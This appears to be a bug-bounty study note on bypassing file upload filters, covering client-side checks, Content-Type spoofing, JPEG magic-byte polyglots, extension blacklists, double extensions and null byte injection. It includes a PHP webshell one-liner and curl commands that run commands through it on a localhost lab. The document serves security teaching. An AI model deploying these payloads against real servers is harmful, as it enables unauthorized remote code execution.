Filters
Absent Validation
Enumerate the technologies used on the server -> upload a same-language webshell.
whatweb <URL>
Client-Side Filters
The example below is based on TCM's Practical Bug Bounty course.
We should start by using the application as intended in order to understand how it works. In doing so, the uploads directory is revealed (/uploads
) as well as some extension filters (Figure 1).

If we inspect the front-end code, we will notice that the file validation check happens on the client-side (Figure 2).

We can try bypassing this check and upload a webshell by intercepting the request before it reaches the server, but after passing the above validateFileInput
check (Figure 3).
<?php system($_GET['cmd']); ?>

Server-side Filters
Type Filters
MIME type -> indicates that nature and format of a file.
Content-Type
header -> tells the receiving machine what type of data to expect and how to interpret it.
If the server implicitly trusts the Content-Type
header's value and no further validation is performed, then by changing its value to an expected content type before it reaches the server will result in bypassing this filter (Figure 4).

Content-Type
header.The example below is based on TCM's Practical Bug Bounty course.
Except checking the Content-Type
header's value, or in addition to it, the server might actually check the file's content. In this case, polyglot files, i.e., files that different application interpret in different ways, can be created to trick the application. This can be achieve by modifying the file's magic bytes, aka headers or signatures. For instance, the application below has both a client-side and a server-side filter (Figure 5).

We can try adding the JPG
magic bytes to our webshell using a tool such as hexedit
or hexeditor
(Figure 6), which might trick the system into uploading it.
# original webshell
$ cat webshell.php
<?php system($_GET['cmd']); ?>
# system recognizes as a PHP script
$ file webshell.php
webshell.php: PHP script, ASCII text
$ file --mime-type webshell.php
../user-content/webshell.php: text/x-php
# add 4 random bytes at the start of it
$ cat webshell.php
AAAA<?php system($_GET['cmd']); ?>
# change the 4 bytes to FF D8 FF E0
$ hexeditor webshell.php

Next, we can check if the file is now recognized as an image file instead of a PHP script.
# confirm the change
$ cat webshell.php
����<?php system($_GET['cmd']); ?>
# system recongizes as a JPEG file
$ file webshell.php
webshell.php: JPEG image data
$ file --mime-type webshell.php
webshell.php: image/jpeg
To upload the shell we must first bypass the client-side extension filter by adding an image extension to the file and then remove that extension via our proxy, so the server is able to execute it (Figure 7).

Finally, we can interact with the webshell either via the browser or using curl
.
$ curl http://localhost/labs/uploads/webshell.php?cmd=id
����uid=33(www-data) gid=33(www-data) groups=33(www-data)
Blacklists/Whitelists
Sometimes a server-side filter can be based on a whitelist or a blacklist (Figure 8).

.php
file extensions.In this case, we can fuzz the file extension and see if any valid PHP extension has been left out of it (Figure 9).

php
extensions.By trying both php5
and phtml
, we see that only the latter works as the server is not configured to interpret the former as a valid PHP script.
$ curl http://localhost/labs/uploads/shell.php5?cmd=id
����<?php system($_GET['cmd']); ?>
$ curl http://localhost/labs/uploads/shell.phtml?cmd=id
����uid=33(www-data) gid=33(www-data) groups=33(www-data)
Some filters might only check if the extension exists within the file name, which can be bypassed by renaming the file to webshell.jpg.phar
(double extension method). Others, might require for the file name to end with an allowed extension so we will have to switch the extensions over, i.e., webshell.phar.jpg
(Figure 10) (reverse double extension method).

In case we can use the reverse double extension method, the file will be uploaded but it might not be able to execute. Instead it can be served as a direct download (Figure 11.1) or as a page (Figure 11.2).

This can be potentially bypassed by a null byte injection. The null byte (\x00
) marks the end of a string in various programming languages. By injecting a URL-encoded null byte after the script's extension (.php
) (Figure 13), the server might interpret it as the end of the string and ignore what comes after it, in this case, the .png
extension. However, when the server later processes the file, it could read it as a PHP script and execute it.

To access the file only the part before the null byte might be called, i.e., revshell.php
.
Last updated
Was this helpful?